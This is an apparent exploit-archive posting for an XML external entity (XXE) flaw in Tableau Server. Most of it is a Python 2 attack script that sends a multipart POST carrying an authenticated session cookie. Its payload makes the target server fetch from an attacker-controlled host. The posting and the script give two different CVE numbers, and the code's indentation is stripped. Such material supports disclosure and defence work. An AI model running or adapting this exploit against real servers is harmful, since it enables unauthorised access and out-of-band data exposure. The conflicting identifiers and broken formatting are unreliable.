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Tableau XML Injection

Tableau XML Injection
Posted Aug 27, 2019
Authored by Jarad Kopf

Tableau suffers from an XML external entity injection vulnerability.

tags | exploit
advisories | CVE-2019-15367
SHA-256 | bed246781976f0c088ca2b766a9c307c9c47fe7ecf081b42bc305d750396f6c5

Tableau XML Injection

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# Exploit Title: Tableau XXE 
# Google Dork: N/A
# Date: Reported to vendor July 2019, fix released August 2019.
# Exploit Author: Jarad Kopf
# Vendor Homepage: https://www.tableau.com/
# Software Link: Tableau Desktop downloads: https://www.tableau.com/products/desktop/download
# Version/Products: See Tableau Advisory: https://community.tableau.com/community/security-bulletins/blog/2019/08/22/important-adv-2019-030-xxe-vulnerability-in-tableau-products
# Tested on: Windows
# CVE: CVE-2019-15637

#This comes from https://community.tableau.com/community/security-bulletins/blog/2019/08/22/important-adv-2019-030-xxe-vulnerability-in-tableau-products
#Severity: High ====== CVSS3 Score: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L - 7.1 High ====== Product Specific Notes: Malicious workbooks, data sources, and extensions files that are published or used on Tableau Server can trigger this vulnerability
#see also https://github.com/minecrater/exploits/blob/master/TableauXXE.py

#Unfortunately as I did not have access to the source code a lot of this couldn't really be coded.
#Lot of this seems to be user specific (zoneid, dashboard etc). Virtually just taking the vulnerable request and running the exploit.
#Very bare bones...wish I could've done more, but maybe someone else with access to the source would want to do that as an exercise.

import requests
import sys
from warnings import filterwarnings

# Globals
proxy = 'http://127.0.0.1:8080'
proxies = {'http':proxy, 'https':proxy}
filterwarnings('ignore')

def xxe(target, attackerserver, boundary, cookie, zoneid, dashboard):
payload = """<?xml version="1.0" encoding="UTF-8" standalone="no"?><!DOCTYPE root PUBLIC "-//A/B/EN" """
payload += "\""+attackerserver+"\"><svg xmlns:svg=\"http://www.w3.org/2000/svg\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"200\" height=\"200\"><text x=\"0\" y=\"20\" font-size=\"20\">test</text></svg>"
headers = {'Content-Type': 'multipart/form-data; boundary='+boundary, 'Cookie': 'workgroup_session_id='+cookie}
data = "--"+boundary+"\r\n"
data += """Content-Disposition: form-data; name=\"zoneId\""""+"\r\n"
data += "\r\n"
#below will be different for each user - this is the zoneid of the dashboard you're exploiting this against
data += zoneid+ "\r\n"
data += "--"+boundary+"\r\n"
data += """Content-Disposition: form-data; name=\"dashboard\""""+"\r\n"
data += "\r\n"
#below will be different for each user - the name of the dashboard we have access to which we're exploiting this against
data += dashboard + "\r\n"
data += "--"+boundary+"\r\n"
data += """Content-Disposition: form-data; name=\"wasCanceled\""""+"\r\n"
data += "\r\n"
data += "false"
data += "\r\n"
data += "--"+boundary+"\r\n"
data += """Content-Disposition: form-data; name=\"extensionManifestContents\""""+"\r\n"
data += "\r\n"
data += payload
data += "\r\n"
data += "--"+boundary+"--"

r = requests.post(target, headers=headers, data=data, proxies=proxies, verify=False)

def main():
if len(sys.argv) != 7:
print "(+) usage: %s <target><attackerserver><boundary><workgroup_session_id_cookie><zoneid><dashboardname>" % sys.argv[0]
sys.exit(-1)
target = sys.argv[1]
attackerserver = sys.argv[2]
boundary = sys.argv[3]
cookie = sys.argv[4]
zoneid = sys.argv[5]
dashboard = sys.argv[6]
xxe(target,attackerserver,boundary,cookie,zoneid,dashboard)
print "making request, make sure to catch the HTTP request!"

if __name__ == "__main__":
main()
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